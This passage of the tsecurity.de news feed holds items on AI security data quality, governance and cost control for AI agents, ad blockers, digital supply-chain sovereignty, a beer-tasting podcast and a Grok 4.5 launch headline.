<pubDate>Thu, 09 Jul 2026 11:08:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Security leaders have been on a spending sprint. The global AI in cybersecurity market is valued at <a href="https://www.fortunebusinessinsights.com/artificial-intelligence-in-cybersecurity-market-113125">$44 billion in 2026 and is projected to reach $213 billion by 2034</a>, a trajectory that reflects genuine belief that machine learning will close the gap between the volume of threats and the capacity of human analysts. That belief is not wrong. What is wrong is where most organizations focus when the tools stop working.</p>



<p>When AI-driven detection underperforms, the instinct is to tune the algorithm, retrain the model or push the vendor for a better product. The real culprit, in most cases, is sitting upstream in the data pipelines long before any model ever sees an event. Fragmented telemetry, inconsistent schemas and stale behavioral baselines are quietly degrading the performance of AI security systems across the enterprise. Fixing the algorithm without fixing the data is like recalibrating a scale while the input keeps changing.</p>



<h2 class="wp-block-heading">The tool sprawl problem nobody talks about at the data level</h2>



<p>Most large enterprises are not working with clean, unified security data. They are working with decades of accumulated infrastructure decisions. <a href="https://venturebeat.com/business/enterprises-struggle-with-security-monitoring-tool-sprawl">Research shows the average enterprise runs 83 different security products from 29 separate vendors</a>, and SOC teams absorb nearly 3,000 alerts per day, with 63 percent going unaddressed. Each of those tools generates its own telemetry in its own format, with its own field naming conventions, timestamp standards and metadata schemas.</p>



<p>Human analysts develop an intuition for navigating that inconsistency. Machine learning models do not. A behavioral detection model trained to correlate authentication events across your identity platform, your endpoint agent and your cloud access broker will produce unreliable results if those three tools call the same field three different names. The model is not broken. It is being fed structurally incoherent data and asked to find patterns in the noise.</p>



<h2 class="wp-block-heading">What schema drift actually costs you</h2>



<p>This is where the problem becomes invisible and expensive. Schema drift, the gradual mutation of data formats across security pipelines over time, rarely triggers an alert. Log formats change when vendors push updates. New telemetry sources add fields that did not previously exist. Identity platforms rename attributes without notifying the security engineering team. Over months, the statistical patterns that trained your behavioral detection models no longer match the data those models are receiving in production.</p>



<p>The downstream effects are exactly what most CISOs are already experiencing: Elevated false positive rates, analyst fatigue and detection gaps that only become visible after an incident. What most security leaders do not realize is that those symptoms trace back to the data layer, not the algorithm layer. <a href="https://www.gartner.com/en/newsroom/press-releases/2026-1-15-gartner-says-worldwide-ai-spending-will-total-2-point-5-trillion-dollars-in-2026">Gartner projects that through 2026, organizations will abandon 60 percent of AI projects due to insufficient data quality</a>, and the pattern is playing out in security operations as visibly as anywhere else.</p>



<h2 class="wp-block-heading">Stale baselines are an attacker advantage</h2>



<p>The data freshness problem is underappreciated as a security risk. Behavioral AI models build baselines from historical activity. In fast-changing enterprise environments, those baselines go stale faster than most security teams recognize.</p>



<p>The shift to hybrid work changed access patterns dramatically. Cloud adoption changed which resources users interact with and when. Mergers and acquisitions introduce new user populations with entirely different behavioral profiles. When AI models evaluate today’s activity against baselines built from a workforce and infrastructure that no longer exist, the results are predictable: Legitimate access triggers anomaly alerts, and sophisticated attackers who study baseline patterns can blend in precisely because the model’s assumptions have not kept up with the environment.</p>



<p><a href="https://www.ibm.com/think/insights/cost-of-poor-data-quality">IBM research on data quality costs</a> puts the average annual cost of poor data quality at $12.9 million per organization. In a security context, that figure does not capture the incident response costs, regulatory exposure or reputational damage that follow from a detection failure rooted in bad data architecture.</p>



<h2 class="wp-block-heading">The organizational gap that keeps this problem in place</h2>



<p>The reason this issue persists is structural. Data pipelines are typically managed by data or infrastructure engineering teams. Detection models are owned by SOC analysts or threat intelligence teams. The AI systems that sit between those two functions often belong to neither. When detection quality drops, security teams tune parameters. Engineering teams focus on pipeline cost and availability. Nobody owns the analytical consistency of the data flowing through the system, because no one’s job description covers that specific gap.</p>



<p>This is a leadership problem before it is a technical one. CISOs who want AI security tools to perform as advertised need to close that ownership gap and treat security telemetry with the same rigor applied to other business-critical data assets.</p>



<h2 class="wp-block-heading">Three priorities for security leaders</h2>



<p>Addressing this does not require a platform replacement or a multi-year transformation program. It requires deliberate attention to three areas:</p>



<ol class="wp-block-list">
<li><strong>Standardize telemetry schemas across your security stack.</strong> A unified schema, even an imperfect one, gives machine learning models a consistent foundation. Establish naming conventions for common fields, normalize timestamp formats and document deviations when vendors cannot comply. This is not a one-time project. It is ongoing governance.</li>



<li><strong>Build data quality monitoring into every ingestion pipeline.</strong> Before any event reaches an ML system, validate it for missing fields, timestamp anomalies and schema deviations. Catching data drift at ingestion is far cheaper than diagnosing detection failures after a real incident or after an attacker has already moved laterally.</li>



<li><strong>Apply governance discipline to security data, not just business data.</strong> Lineage tracking, validation rules and version-controlled schemas belong in security pipelines as much as they belong in financial reporting pipelines. Security telemetry is a critical business asset and should be managed accordingly.</li>
</ol>



<p>The AI-powered security tools in your stack are capable of delivering real value against modern threats. But that capability is entirely contingent on the quality, consistency and freshness of the data flowing into them. Before your organization invests another dollar in model tuning or platform upgrades, ask a harder and more productive question: When did anyone last audit the pipelines those models actually depend on?</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.csoonline.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Three keys to deploying AI agents]]></title>
<description><![CDATA[Building an agent in an afternoon is now within reach of almost anyone in the enterprise with a credit card. The tools are accessible, the deployments are easy. The hard part is delivering the intended results.



Gartner predicts that more than 40% of agentic AI projects will be canceled by 2027...]]></description>
<link>https://tsecurity.de/de/3656433/ai-nachrichten/three-keys-to-deploying-ai-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656433/ai-nachrichten/three-keys-to-deploying-ai-agents/</guid>
<pubDate>Thu, 09 Jul 2026 11:03:34 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Building an agent in an afternoon is now within reach of almost anyone in the enterprise with a credit card. The tools are accessible, the deployments are easy. The hard part is delivering the intended results.</p>



<p>Gartner predicts that more than <a href="https://www.gartner.com/en/newsroom/press-releases/2025-06-25-gartner-predicts-over-40-percent-of-agentic-ai-projects-will-be-canceled-by-end-of-2027">40% of agentic AI projects will be canceled</a> by 2027, and the <a href="https://artificialintelligenceact.eu/article/14/">EU AI Act Article 14</a> requirements for human oversight for high-risk AI systems take effect on August 2, 2026. The deciding factor for whether agentic AI reaches production isn’t the model, the framework, or the use case. It’s the infrastructure beneath the agent: the part the people building agents have never had to think about.</p>



<p>Organizations are racing to deploy agentic AI to stay competitive, which means pressure-testing is often overlooked. Every agent project should be scrutinized by three executives asking three different sets of questions. The CISO asks whether we are exposed. The CFO asks whether we are overspending. The chief AI officer asks whether we are getting value. </p>



<p>As a product leader focused on AI governance, I see this pattern across customer environments. Three architecture layers answer those three questions: identity, observability, and cost optimization. I’ll walk through each of the layers and provide a four-question diagnostic for the next production push.</p>



<h2 class="wp-block-heading">Why AI pilots stall</h2>



<p>An agent is not a faster chatbot. It chains dozens of steps, calls external tools, retains state across sessions, and triggers real-world actions. Most inherit the credentials of whoever deployed them. They operate at machine speed without context for the consequences of each step.</p>



<p>The mismatch is not a competence gap on the human side. It is a time-horizon gap. An engineer reasons about a database change over hours. An agent triggers a hundred of them before anyone reviews the first. Traditional audit logging captures request and response. That does not catch this pattern.</p>



<p>When something breaks, the cost is rarely the incident. It is the months of stalled deployment that follow. The risk committee freezes pilots. The productivity gains the program was supposed to deliver never materialize. Finance still gets the API bill. Three architecture layers decide whether a deployment survives that pattern. Each one is the answer to a question the people building agents never had to ask.</p>



<h2 class="wp-block-heading">Layer 1: Identity for non-human actors</h2>



<p>Start with identity. The default failure looks routine: a product manager with broad API access spawns an agent that inherits the full scope of those credentials and runs at machine speed across systems no one inventoried.</p>



<p>The scale is bigger than most teams realize. <a href="https://www.signisys.com/blog/non-human-identities-outnumber-users-100-to-1-the-cloud-security-crisis-no-one-is-talking-about/">Industry IAM research</a> puts non-human identities at more than 100 to 1 versus human accounts, with <a href="https://www.cybersecuritytribe.com/news/research-reveals-44-growth-in-nhis-from-2024-to-2025">some 2026 surveys</a> putting the ratio as high as 144 to 1. A <a href="https://www.orchid.security/reports/the-identity-gap-2026-snapshot-identity-insight-straight-from-the-source">May 2026 Identity Gap Report</a> found two-thirds are unseen and unmanaged.</p>



<p>Agents are moving from human identities with their “owners”’ permissions to first-class principals. They are purpose-bound, cryptographically attested, and scoped to one task at a time. Google’s Agent Identity, built on SPIFFE, is one early example. The production pattern has three properties. Credentials are issued per agent task. Token lifetime is measured in minutes to hours, not weeks. Scope is narrowed to the specific tools and data classes the task requires, and the credential revokes automatically on task completion.</p>



<p>If a single static credential is good for a week and 50 different tasks, you are not running agentic AI. You are running a service account with extra steps.</p>



<h2 class="wp-block-heading">Layer 2: Observability that serves all three executives</h2>



<p>Identity controls what an agent can do. Observability shows what it’s actually doing. One instrumentation layer, three views.</p>



<p>First, the security view. Traditional logging captures request and response, which assumes one human action per logged event. An agent’s unit of work is a chain. Pick a tool, call it, read the result, decide the next step. Twenty steps, some of them writing to production. Instrument every step as a durable audit object, independently queryable. Understand which tool was invoked, what data was accessed, what policy applied, and what the agent reasoned to justify the next step. That’s what Article 14 oversight requires for production.</p>



<p>Second, the business-outcomes view. Audit objects answer the CISO. The chief AI officer asks a different question. Is the agent accomplishing what we deployed it for, or burning compute on a tangent? An agent can run 200 tool calls, generate clean audit logs, and produce nothing. It might be looping on a sub-goal that drifted three steps back. Observe each step against the declared business purpose: on-task ratio, sub-goal coherence, progress markers. Project management telemetry for a non-human worker.</p>



<p>Third, the cost view. The same per-step instrumentation produces cost telemetry: token count per step, model per call, context size per turn, downstream tool-call costs. Without that attribution, the next section’s optimizations are blind.</p>



<p>A busy agent and a productive agent look identical in the security log. They look identical on the bill too. The difference shows up only when all three views run from the same instrumentation.</p>



<h2 class="wp-block-heading">Layer 3: Cost optimization</h2>



<p>Cost is where the architecture pays back. Gartner’s March 2026 analysis put <a href="https://www.gartner.com/en/newsroom/press-releases/2026-03-25-gartner-predicts-that-by-2030-performing-inference-on-an-llm-with-1-trillion-parameters-will-cost-genai-providers-over-90-percent-less-than-in-2025">agentic workloads at five to 30 times the token cost per task</a> of a standard chatbot. The FinOps Foundation’s 2026 State of FinOps report found that <a href="https://data.finops.org/">73% of organizations exceeded their original AI budget projections</a>. Three failure modes drive that overrun.</p>



<p>First, using the wrong model. Agents default to the most capable one available. They call a frontier model for tasks a smaller one could handle with identical quality: summarizing a transcript, formatting JSON, classifying a ticket. The <a href="https://proceedings.iclr.cc/paper_files/paper/2025/hash/5503a7c69d48a2f86fc00b3dc09de686-Abstract-Conference.html">RouteLLM paper at ICLR 2025</a> demonstrated that intelligent routing cuts total LLM inference cost 40% to 80% with no measurable quality loss on routine work. Move model selection from a per-developer choice to a per-policy layer.</p>



<p>Second, running in loops. Agents can spend without limit if no one is watching. A widely-cited 2026 incident saw a <a href="https://dev.to/dingdawg/how-an-ai-agent-ran-up-a-47000-bill-in-11-days-and-how-to-stop-it-1fk">LangChain multi-agent system run an infinite loop for 11 days and burn $47,000 in API charges</a>. Per-session token ceilings, <a href="https://fountaincity.tech/resources/blog/ai-agent-cost-circuit-breaker/">loop-detection circuit breakers</a> that flag tool calls highly similar to prior calls, and hard daily caps stop this before it generates the bill. In our deployments, a <a href="https://www.supra-wall.com/en/learn/ai-agent-runaway-costs">three-tier cost structure</a> catches the bulk of runaway patterns: a $50 daily soft alert, a $100 daily hard cutoff forcing routing to cheaper models, and a $1,000 monthly ceiling requiring manager approval.</p>



<p>Third, re-paying for the same context on every step. Every step re-sends the accumulated system prompt and conversation history. By step 20 the agent has paid for that context 20 times. <a href="https://www.vantage.sh/blog/agentic-coding-costs">Vantage’s 2026 analysis of agentic coding sessions</a> found re-sent context accounts for roughly 62% of the average agent’s bill, the biggest single optimization target in agentic workloads. Three patterns help: anchored summarization at phase boundaries, sliding context windows, and provider-native prompt caching at the gateway. Most agents skip caching entirely, though <a href="https://platform.claude.com/docs/en/build-with-claude/prompt-caching">Anthropic</a> prices cached input at roughly 10% of base, <a href="https://developers.googleblog.com/en/gemini-2-5-models-now-support-implicit-caching/">Gemini</a> at 10% to 25%, and <a href="https://openai.com/index/api-prompt-caching/">OpenAI</a> at 50%.</p>



<p>Governing agent cost means seeing every call, every model, every token attributed to the agent and the business purpose. Then act on it. Token counts without business attribution tell you how many gallons of gas you burned, not where you drove.</p>



<h2 class="wp-block-heading">The deployment velocity payoff</h2>



<p>The three layers serve the three executive questions. Identity gates what the agent can do. Observability shows what it is doing. Cost optimization controls what it spends.</p>



<p>The honest counterargument is that governance always slows deployment. That is true when governance is bolted on as approval gates layered over an agent that wasn’t built with observability or per-task identity. It is false when governance is built into the architecture from day one. Teams that experience governance as a brake installed the brake without the steering wheel.</p>



<p>Governance built right still costs something. Per-task credentials add work on every tool call. Observability infrastructure adds compute. The question is whether that cost beats the alternative.</p>



<p>The layers compound. Identity without observability is theoretical. Observability without cost control is descriptive. Without identity at the bottom, cost control becomes caps without context, forever reactive. All three together produce a governance review that runs in weeks, not quarters, because the data each executive needs already exists. In our experience, organizations with that infrastructure can deploy six workflows to production in the time competitors complete one governance review. The real ROI of agentic AI is not how much faster a single workflow runs. In practice, it’s how many workflows your team can defensibly put into production in a year.</p>



<h2 class="wp-block-heading">Before the next pilot</h2>



<p>Here are four questions to run against any agent your team is about to push to production:</p>



<ol class="wp-block-list">
<li>Identity. For each agent in production, can you point to the per-task credentials it uses today, and the maximum scope of any single token?</li>



<li>Observability. For any agent session, can you produce three views from the same instrumentation: the audit object per step, the on-task ratio versus tangents, and the per-step cost broken down by model and context size?</li>



<li>Cost optimization. Does your platform automatically route by model, cap runaway loops, and avoid re-sending the same context every step?</li>



<li>Velocity. How long does it take a new agent workflow to move from approved pilot to production in your environment today?</li>
</ol>



<p>If the answer is months, the architecture above is the gap. Gartner’s 40% stat is about your next pilot.</p>



<p><em>—</em></p>



<p><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Adblock-Möglichkeiten für den Desktop, Android und iOS]]></title>
<description><![CDATA[Adblock-Möglichkeiten für Desktop, Android und iOS: uBlock Origin, AdGuard, Brave, YouTube, Twitch und Bypass Paywalls Clean.
Der Artikel Adblock-Möglichkeiten für den Desktop, Android und iOS erschien zuerst auf TARNKAPPE.INFO]]></description>
<link>https://tsecurity.de/de/3656118/malware-trojaner-viren/adblock-moeglichkeiten-fuer-den-desktop-android-und-ios/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656118/malware-trojaner-viren/adblock-moeglichkeiten-fuer-den-desktop-android-und-ios/</guid>
<pubDate>Thu, 09 Jul 2026 08:17:53 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Adblock-Möglichkeiten für Desktop, Android und iOS: uBlock Origin, AdGuard, Brave, YouTube, Twitch und Bypass Paywalls Clean.</p>
<p>Der Artikel <a href="https://tarnkappe.info/artikel/internet/adblock-moeglichkeiten-fuer-den-desktop-android-und-ios-331215.html">Adblock-Möglichkeiten für den Desktop, Android und iOS</a> erschien zuerst auf <a href="https://tarnkappe.info/">TARNKAPPE.INFO</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Wie souverän sind unsere Lieferketten eigentlich noch?]]></title>
<description><![CDATA[loading="lazy" width="400px">Abhängigkeiten in der Lieferkette gibt es auch im digitalen Umfeld. Ein Clean-Core-Ansatz hilft, aber es bleiben Risiken.Image Flow – shutterstock.com



Wie schnell sich Krisen auf globale Lieferketten auswirken können, zeigte sich in den letzten Monaten immer wieder...]]></description>
<link>https://tsecurity.de/de/3655911/it-security-nachrichten/wie-souveraen-sind-unsere-lieferketten-eigentlich-noch/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655911/it-security-nachrichten/wie-souveraen-sind-unsere-lieferketten-eigentlich-noch/</guid>
<pubDate>Thu, 09 Jul 2026 06:05:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> loading="lazy" width="400px"&gt;<figcaption class="wp-element-caption">Abhängigkeiten in der Lieferkette gibt es auch im digitalen Umfeld. Ein Clean-Core-Ansatz hilft, aber es bleiben Risiken.</figcaption></figure><p class="imageCredit">Image Flow – shutterstock.com</p></div>



<p>Wie schnell sich Krisen auf globale Lieferketten auswirken können, zeigte sich in den letzten Monaten immer wieder. Dabei sind Krisen an sich kein neues Phänomen. Ein Novum ist jedoch die Wucht, mit der diese Unternehmen treffen – in Beschaffung, Produktion und Wertschöpfung.</p>



<p>Der Grund dafür liegt in der engen Verflechtung von Politik und Wirtschaft. Geopolitische Entscheidungen bleiben heute nicht mehr auf die Ebene internationaler Beziehungen beschränkt, sondern beeinflussen Lieferketten direkt: Handelsbeschränkungen, Sanktionen und entsprechend angepasste Transportrouten verändern Materialflüsse und Beschaffungsprozesse unmittelbar.</p>



<h2 class="wp-block-heading">Geopolitik und ihre Wirkung auf Lieferketten</h2>



<p>Besonders deutlich werden diese Auswirkungen in der diskreten Fertigung, zum Beispiel in der Automobilindustrie. Denn hier lassen sich Lieferanten nicht kurzfristig austauschen. Viele Unternehmen arbeiten mit langjährigen, ausgewählten Partnern. Komponenten entstehen in gemeinsamer Entwicklung und werden oft ausschließlich von einem Lieferanten bezogen.</p>



<p>Das hat berechtigte Effizienzgründe, wird in Krisenzeiten aber zum Risiko. Fällt ein Lieferant weg, etwa durch unterbrochene Handelswege oder geopolitische Entscheidungen, geraten ganze Wertschöpfungsketten unter Druck. Alternative Bauteile müssen erst entwickelt, qualifiziert und getestet, neue Lieferanten auf die Einhaltung regulatorischer Vorgaben – etwa des Lieferkettensorgfaltspflichtengesetzes (LkSG) –  geprüft werden. Das dauert und schlägt sich direkt in der Produktionsplanung, der Materialverfügbarkeit und letztlich in den Kosten nieder.</p>



<p>Eine Single Source zu haben, ist nicht per se problematisch, solange Unternehmen ihre Abhängigkeit kennen und aktiv steuern. Das bedeutet:</p>



<ul class="wp-block-list">
<li>Kritische Materialien oder Komponenten im Blick zu haben,</li>



<li>alternative Bezugsquellen frühzeitig zu identifizieren und zu validieren, sowie</li>



<li>relevante Zulieferer regelmäßig zu überprüfen, um im Ernstfall schnell agieren zu können.</li>
</ul>



<h2 class="wp-block-heading">Die eigene IT-Landschaft als potenzielle Risikoquelle</h2>



<p>Dieses Bewusstsein gewinnt vor dem Hintergrund zunehmender technologischer Abhängigkeiten noch mehr an Relevanz. Denn auch in der eigenen IT-Landschaft entstehen über Jahre Strukturen, die sich nicht kurzfristig ersetzen lassen. Mit Blick auf  SAP-Anwender sind das zum Beispiel: ein ERP-Kern, ein einzelner Hyperscaler, eine bestimmte Cloud-Region (Standort des Rechenzentrums des Hosters) oder ein hochspezialisierter Softwareanbieter – auch das zählt jeweils als Single Source. Die Wechselkosten sind hoch, die Integration der Systeme, Anwendungen und Prozesse komplex – und das nötige Knowhow steckt oft in wenigen Köpfen.</p>



<p>Damit stellen sich in der Debatte um <a href="https://www.computerwoche.de/article/4146921/digitale-souveranitat-abschottung-ware-die-falsche-antwort.html">digitale Souveränität</a> im Kern dieselben Fragen wie im Kontext der Lieferkette:</p>



<ul class="wp-block-list">
<li>Wie groß ist unser „Klumpenrisiko“?</li>



<li>Wo sind wir über die Zeit in eine Abhängigkeit hineingewachsen?</li>



<li>Wie schnell sind wir handlungsfähig, wenn sich Rahmenbedingungen ändern?</li>
</ul>



<p>Dabei geht es um mehrere Ebenen: Datenstandorte, rechtliche Vorgaben, den operativen Betrieb sowie die technische Kontrolle über die eingesetzten Plattformen.</p>



<p>Also etwa, wenn der Cloud-Anbieter ausfällt, regulatorische Vorgaben den Betrieb in bestimmten Regionen einschränken oder Exportkontrollen den Zugriff auf kritische Technologien begrenzen. So kann die Abhängigkeit von Softwareplattformen oder zentralen Kernsystemen im Ernstfall dazu führen, dass Unternehmen nicht mehr frei über ihre Prozesse und Daten verfügen können.</p>



<p>Auch die Antworten auf diese Fragen ähneln denen der Lieferkettenproblematik: So wie ein modulares Produktportfolio Unternehmen in der Beschaffung flexibel macht, sorgt eine modulare, standardisierte Architektur in der IT für mehr Flexibilität. Ein sauberer ERP-Kern – Stichwort Clean Core –, offene Schnittstellen, portierbare Daten und sauber dokumentierte Prozesse sind das digitale Pendant zum qualifizierten Zweitlieferanten. Sie schaffen die Voraussetzung, um im Bedarfsfall überhaupt eine Wahl zu haben.</p>



<h2 class="wp-block-heading">Künstliche Intelligenz schafft neue Abhängigkeiten</h2>



<p>Mit dem rasant steigenden Einsatz künstlicher Intelligenz erhält das Thema digitale Souveränität eine weitere Dimension. Unternehmen integrieren Sprachmodelle und KI-Agenten beispielsweise mittels SAP Business AI zunehmend in ihre Geschäftsprozesse. Sie automatisieren Abläufe, lassen sich bei Entscheidungen unterstützen und beschleunigen die Entwicklung neuer Produkte und Dienstleistungen.</p>



<p>Wie schnell daraus ein strategisches Risiko werden kann, zeigte der Fall Anthropic im Juni 2026: US-Behörden wiesen das KI-Unternehmen an, sein neuestes Modell für Nicht-US-Bürger  zu blockieren – aus Gründen der nationalen Sicherheit. Die Firma reagierte – und sperrte den Zugang zu seinen  fortschrittlichsten KI-Modellen weltweit.</p>



<p>Inwiefern nationale Sicherheit hierbei tatsächlich eine Rolle gespielt hat, sei dahingestellt. Fakt ist aber, dass der Vorgang ein grundlegendes Problem demonstriert: Unternehmen haben keinen Einfluss darauf, ob leistungsfähige KI-Modelle verfügbar bleiben, eingeschränkt oder nur bestimmten Nutzergruppen zugänglich gemacht werden.</p>



<p>Bedenkt man, dass Hersteller wie SAP einen großen Teil der neu angekündigten <a href="https://www.computerwoche.de/article/4170377/sap-stellt-das-autonomous-enterprise-vor.html">Business AI Platform</a> auf genau diesem Anbieter aufbauen, stellt sich – wie in vielen anderen Fällen auch – die Frage: Wie unabhängig sind wir wirklich? Und: Gibt es im Fall der Fälle einen Plan B?</p>



<p>Es geht nicht mehr allein um Datenstandorte, Cloud-Infrastrukturen oder Software-Plattformen. Erfolgsentscheidend wird zunehmend, wer den Zugang zu KI-Systemen kontrolliert, unter welchen Bedingungen sie genutzt werden dürfen und wie schnell sich diese Rahmenbedingungen ändern können.</p>



<h2 class="wp-block-heading">Resilienz schlägt reine Effizienz</h2>



<p>Damit verschiebt sich der Maßstab. Über Jahre war Effizienz für Unternehmen das oberste Gebot: Bestände runter, Just-in-Time hoch, Lieferantenzahl reduzieren, IT-Landschaft konsolidieren. Jeder dieser Punkte ist nachvollziehbar, macht die Systeme in Summe aber auch verletzlicher.</p>



<p>Genau deshalb reicht der Blick auf Effizienz allein heute nicht mehr aus – und Resilienz wird immer wichtiger. Wenn Lieferketten reißen, geopolitische Entscheidungen Märkte verändern oder der Zugang zu digitalen Technologien eingeschränkt wird, entscheidet nicht mehr die schlankste Struktur über den Erfolg, sondern die anpassungsfähigste.</p>



<p>Am Ende geht es weder um vollständige Autarkie noch um die Illusion, Risiken vollständig auszuräumen. Unternehmen werden auch künftig auf Lieferanten, Technologien und Partner angewiesen sein. Entscheidend ist aber, diese Abhängigkeiten bewusst zu gestalten, statt sich von ihnen überraschen zu lassen. Wer seine kritischen Schnittstellen kennt, Alternativen vorbereitet und Handlungsspielräume erhält, verbindet Effizienz mit Widerstandsfähigkeit. Genau daraus entsteht, worauf es in unsicheren Zeiten ankommt: Entscheidungsfreiheit. (mb)</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4679: HPR Beer Garden 15 - Double IPA]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.


Kevie, Paul and Dave are back once again with the HPR Beer Garden, this time focusing on the relatively new style of beer called Double IPA. Kevie samples 
Man Overboard
by 
Cromarty Brewing
, Paul tastes 
Rumble
by 
Beavertown
and Dave opts for ...]]></description>
<link>https://tsecurity.de/de/3655644/podcasts/hpr4679-hpr-beer-garden-15-double-ipa/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655644/podcasts/hpr4679-hpr-beer-garden-15-double-ipa/</guid>
<pubDate>Thu, 09 Jul 2026 02:02:59 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>
Kevie, Paul and Dave are back once again with the HPR Beer Garden, this time focusing on the relatively new style of beer called Double IPA. Kevie samples <a href="https://untappd.com/b/cromarty-brewing-co-man-overboard/945221" rel="noopener noreferrer" target="_blank">
Man Overboard</a>
by <a href="https://cromartybrewing.com/" rel="noopener noreferrer" target="_blank">
Cromarty Brewing</a>
, Paul tastes <a href="https://untappd.com/b/beavertown-beavertown-rumble-west-coast-dipa/6639201" rel="noopener noreferrer" target="_blank">
Rumble</a>
by <a href="https://beavertownbrewery.co.uk/" rel="noopener noreferrer" target="_blank">
Beavertown</a>
and Dave opts for <a href="https://www.northbrewing.com/products/ultra-phase-dipa-8-5" rel="noopener noreferrer" target="_blank">
Ultra Phase by North Brewing</a>

</p>

<p>

</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4679/hpr4679_image_1.png">
<img src="https://hackerpublicradio.org/eps/hpr4679/hpr4679_image_1_tn.png">
</a>

</p>

<p>
Connect with the guys on Untappd:</p>

<ul>

<li>

<a href="https://untappd.com/user/thelovebug" rel="noopener noreferrer" target="_blank">
Dave</a>

</li>

<li>

<a href="https://untappd.com/user/gorenia" rel="noopener noreferrer" target="_blank">
Paul</a>

</li>

<li>

<a href="https://untappd.com/user/kevie49" rel="noopener noreferrer" target="_blank">
Kevie</a>

</li>

</ul>

<p>

</p>

<p>
The intro sounds for the show are used from:</p>

<ul>

<li>

<a href="https://freesound.org/people/mixtus/sounds/329806/" rel="noopener noreferrer" target="_blank">
https://freesound.org/people/mixtus/sounds/329806/</a>

</li>

<li>

<a href="https://freesound.org/people/j1987/sounds/123003/" rel="noopener noreferrer" target="_blank">
https://freesound.org/people/j1987/sounds/123003/</a>

</li>

<li>

<a href="https://freesound.org/people/greatsoundstube/sounds/628437/" rel="noopener noreferrer" target="_blank">
https://freesound.org/people/greatsoundstube/sounds/628437/</a>

</li>

</ul>

<p>

</p>

<p>
The next 3 beer styles to be reviewed:</p>

<ul>

<li>
Belgian Blonde</li>

<li>
DDH IPA</li>

<li>
Amber Ale</li>

</ul>


<p><a href="https://hackerpublicradio.org/eps/hpr4679/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Create clean LLM service interfaces with wrapper classes!]]></title>
<description><![CDATA[Author: Google for Developers - Bewertung: 25x - Views:276 When you ask an agent to update a feature, it has to search your entire codebase, which can limit the effectiveness of your AI coding agents. The fix? Separation of concerns. 

Subscribe to Google for Developers → https://goo.gle/develope...]]></description>
<link>https://tsecurity.de/de/3655619/videos/create-clean-llm-service-interfaces-with-wrapper-classes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655619/videos/create-clean-llm-service-interfaces-with-wrapper-classes/</guid>
<pubDate>Thu, 09 Jul 2026 01:32:10 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Google for Developers - Bewertung: 25x - Views:276 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/Q4l3D0fI5dY?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>When you ask an agent to update a feature, it has to search your entire codebase, which can limit the effectiveness of your AI coding agents. The fix? Separation of concerns. <br />
<br />
Subscribe to Google for Developers → https://goo.gle/developers <br />
<br />
Speaker: Christy Yao<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[SpaceX's Grok 4.5 launches at half the price of rivals — here's why that could rattle Anthropic and OpenAI]]></title>
<description><![CDATA[Elon Musk's SpaceX released Grok 4.5 on Wednesday, the first artificial intelligence model the company has trained specifically for coding and autonomous agents — and the first tangible product of its $60 billion acquisition of the AI coding startup Cursor, completed just weeks ago.The launch mar...]]></description>
<link>https://tsecurity.de/de/3655560/it-nachrichten/spacexs-grok-45-launches-at-half-the-price-of-rivals-heres-why-that-could-rattle-anthropic-and-openai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655560/it-nachrichten/spacexs-grok-45-launches-at-half-the-price-of-rivals-heres-why-that-could-rattle-anthropic-and-openai/</guid>
<pubDate>Thu, 09 Jul 2026 00:47:48 +0200</pubDate>
